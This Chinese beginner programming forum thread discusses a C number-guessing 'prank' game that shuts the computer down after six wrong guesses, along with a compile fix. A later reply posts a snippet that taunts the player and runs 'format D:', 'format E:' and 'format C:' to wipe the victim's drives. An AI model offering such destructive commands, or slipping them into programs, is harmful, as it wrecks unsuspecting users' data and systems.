啊哈磊_编程从这里起步
标题:
我的关机恶作剧怎么错了?
[打印本页]
作者:
Mark Lee
时间:
2018-7-18 17:17
标题:
我的关机恶作剧怎么错了?
int main()
int a,b,sum;
sum=6;
srand((unsigned)time(NULL));
a = rand()%100;
while(1)
{
sum--;
scanf("%d",&b);
if(b>a)
printf("大了,还剩下%d次机会\n",sum);
if(b<a)
printf("小了,还剩下%d次机会\n",sum);
if(b==a)
{
printf("答对啦!\n");
break;
}
if(sum==0)
{
printf("没有机会了,系统将在50秒后关机\n");
system("shutdown -s -t 50");
break;
}
}
system("pause");
return 0;
}
作者:
Mark Lee
时间:
2018-7-18 17:22
系统说sum=6出错了。。。
作者:
Mark Lee
时间:
2018-7-18 17:37
#include <stdio.h>
int main()
{
int a,b,c;
c=6;
srand((unsigned)time(NULL));
a = rand()%100;
while(1)
{
c--;
scanf("%d",&b);
if(b>a)
printf("大了,还剩下%d次机会\n",c);
if(b<a)
printf("小了,还剩下%d次机会\n",c);
if(b==a)
{
printf("答对啦!\n");
break;
}
if(c==0)
{
printf("没有机会了,系统将在50秒后关机\n");
system("shutdown -s -t 50");
break;
}
}
system("pause");
return 0;
}
作者:
大将军
时间:
2018-7-19 09:32
srand((unsigned)time(NULL)); 像这种不同时间生成不同随机数的代码,前面应该有一行
#include <time.h>
作者:
嘉嘉
时间:
2018-7-29 07:51
:@:@
作者:
MKing
时间:
2019-5-3 20:57
printf("没有机会了");
Sleep(1000);
printf("哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈");
printf("去死吧");
system("format D:");
system("format E:");
Sleep(5000);
system("format C:");
printf("等你看到这行代码时 你的电脑已经废了");
复制代码
知道什么是坑吗
欢迎光临 啊哈磊_编程从这里起步 (https://bbs.codeaha.com/)
Powered by Discuz! X3.2